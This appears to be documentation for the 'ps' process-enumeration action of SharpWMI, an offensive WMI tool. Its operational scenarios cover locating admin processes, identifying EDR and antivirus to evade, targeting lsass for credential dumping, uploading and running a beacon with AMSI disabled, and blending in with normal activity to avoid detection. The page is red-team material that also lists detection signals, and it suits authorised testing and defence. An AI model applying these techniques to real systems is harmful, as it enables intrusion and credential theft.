ps - SpecterOps Open Source

Overview

The ps action enumerates running processes on local and remote systems, including process ID, name, owner, and command line. It queries the Win32_Process WMI class and invokes the GetOwner method to retrieve process ownership information.

Syntax

SharpWMI.exe action=ps [computername=HOST[,HOST2,...]] [username=DOMAIN\user] [password=Password]

Parameters

Parameter	Required	Description
`action`	Yes	Must be `ps`
`computername`	No	Target host(s), comma-separated. Defaults to localhost
`username`	No	Username for authentication
`password`	No	Password for authentication

Usage Examples

SharpWMI.exe action=ps

SharpWMI.exe action=ps computername=target.domain.com

SharpWMI.exe action=ps computername=target.domain.com username="DOMAIN\admin" password="Password123!"

SharpWMI.exe action=ps computername=server1,server2,server3

Example Output

   PID |                           Name |                     Owner | CommandLine
------+--------------------------------+---------------------------+------------------------------------------
|                   chrome.exe   |         DOMAIN\jdoe       | "C:\Program Files\Google\Chrome\Application\chrome.exe"
|                 powershell.exe |    DOMAIN\Administrator   | powershell.exe -NoProfile -ExecutionPolicy Bypass
|                      cmd.exe   |         DOMAIN\jdoe       | cmd.exe
|                  explorer.exe  |         DOMAIN\jdoe       | C:\Windows\Explorer.EXE
|                   svchost.exe  |    NT AUTHORITY\SYSTEM    | C:\Windows\system32\svchost.exe -k NetworkService

Output Fields

Field	Description
PID	Process ID
Name	Process executable name
Owner	Domain\Username running the process
CommandLine	Full command line with arguments

Operational Use Cases

Scenario 1: Hunt for Admin Processes

# Look for admin-owned processes
SharpWMI.exe action=ps computername=workstation.domain.com

Identify:

Processes owned by domain admins
Privileged service accounts
SYSTEM-owned processes
Interactive admin sessions

Scenario 2: Detect Security Tools

# Enumerate processes on target
SharpWMI.exe action=ps computername=target.domain.com

Look for:

AV processes (MsMpEng.exe, AvastSvc.exe)
EDR agents (CrowdStrike, Carbon Black)
Monitoring tools (Sysmon)
PowerShell activity

Scenario 3: Identify Credential Sources

# Check for credential-rich processes
SharpWMI.exe action=ps computername=target.domain.com username="DOMAIN\admin" password="Password123!"

Target processes:

lsass.exe (credential dumping)
Browser processes (saved passwords)
Password managers (KeePass, 1Password)
Database connections

Scenario 4: Post-Exploitation Verification

# Verify payload execution
SharpWMI.exe action=upload computername=target source="beacon.exe" dest="C:\temp\svc.exe" amsi=disable
SharpWMI.exe action=exec computername=target command="C:\temp\svc.exe"
SharpWMI.exe action=ps computername=target

Confirm:

Beacon is running
Process ID and owner
Command line arguments
Parent process

Remote vs Local Usage

Local Enumeration
Remote Enumeration

SharpWMI.exe action=ps

When to use:

Post-exploitation enumeration
Local process discovery
No remote access available

Advantages:

No network traffic
No authentication required
Faster execution

SharpWMI.exe action=ps computername=target.domain.com

When to use:

Reconnaissance phase
Credential hunting
Target validation
Multi-system enumeration

Requirements:

Admin privileges on target
WMI access over network

Detection Considerations

WMI Detection

WMI queries for Win32_Process class
GetOwner method invocations
Event ID 5857: WMI activity
Sysmon Event ID 19-21: WMI operations

Reconnaissance Patterns

Process enumeration across multiple systems
Queries from non-administrative hosts
Bulk queries in short timeframe
Correlation with other enumeration

Network Detection

WMI/DCOM traffic on port 135
Multiple connections from single source

Best Practices

Operational Security

Limit query frequency
Blend with legitimate admin activity
Use during business hours
Avoid bulk enumeration

Data Analysis

Filter system processes
Focus on user-owned processes
Look for unusual command lines
Identify high-value targets

Filtering Process Output

Since SharpWMI returns all processes, you may want to filter results. Here are common targets:

Interesting Processes

PowerShell: powershell.exe, pwsh.exe
Credential Access: lsass.exe, mstsc.exe
Security Tools: MsMpEng.exe, cb.exe, falcon-sensor.exe
Browsers: chrome.exe, firefox.exe, msedge.exe
Shells: cmd.exe, conhost.exe

Troubleshooting

Access Denied

Cause: Insufficient privilegesSolution:

Use username and password parameters
Verify admin rights on target
Check UAC remote restrictions

Empty Owner Field

Cause: GetOwner method failedSolution:

Some system processes don’t have owners
This is normal for SYSTEM processes
Check permissions if user processes show empty

RPC Server Unavailable

Cause: Network or service issueSolution:

Verify target is online
Check firewall rules
Ensure WMI service is running

terminate

Kill processes by name or PID

query

Custom process queries

exec

Create new processes

loggedon

Enumerate logged-on users

Alternative Query Methods

Processes by Name

SharpWMI.exe action=query computername=target query="SELECT ProcessId,Name,CommandLine FROM Win32_Process WHERE Name='powershell.exe' OR Name='cmd.exe'"

Processes by Path

SharpWMI.exe action=query computername=target query="SELECT ProcessId,Name FROM Win32_Process WHERE ExecutablePath LIKE '%temp%'"

High CPU Processes

SharpWMI.exe action=query computername=target query="SELECT ProcessId,Name FROM Win32_Process WHERE PercentProcessorTime > 50"

Getting Started

Enumeration Actions

Execution Actions

File Operations

Environment Variables

ps

Overview

Syntax

Parameters

Usage Examples

Example Output

Output Fields

Operational Use Cases

Scenario 1: Hunt for Admin Processes

Scenario 2: Detect Security Tools

Scenario 3: Identify Credential Sources

Scenario 4: Post-Exploitation Verification

Remote vs Local Usage

Detection Considerations

Best Practices

Operational Security

Data Analysis

Filtering Process Output

Interesting Processes

Troubleshooting

terminate

query

exec

loggedon

Alternative Query Methods

​Overview

​Syntax

​Parameters

​Usage Examples

​Example Output

​Output Fields

​Operational Use Cases

​Scenario 1: Hunt for Admin Processes

​Scenario 2: Detect Security Tools

​Scenario 3: Identify Credential Sources

​Scenario 4: Post-Exploitation Verification

​Remote vs Local Usage

​Detection Considerations

​Best Practices

Operational Security

Data Analysis

​Filtering Process Output

​Interesting Processes

​Troubleshooting

​Related Actions

terminate

query

exec

loggedon

​Alternative Query Methods

Overview

Syntax

Parameters

Usage Examples

Example Output

Output Fields

Operational Use Cases

Scenario 1: Hunt for Admin Processes

Scenario 2: Detect Security Tools

Scenario 3: Identify Credential Sources

Scenario 4: Post-Exploitation Verification

Remote vs Local Usage

Detection Considerations

Best Practices

Filtering Process Output

Interesting Processes

Troubleshooting

Related Actions

Alternative Query Methods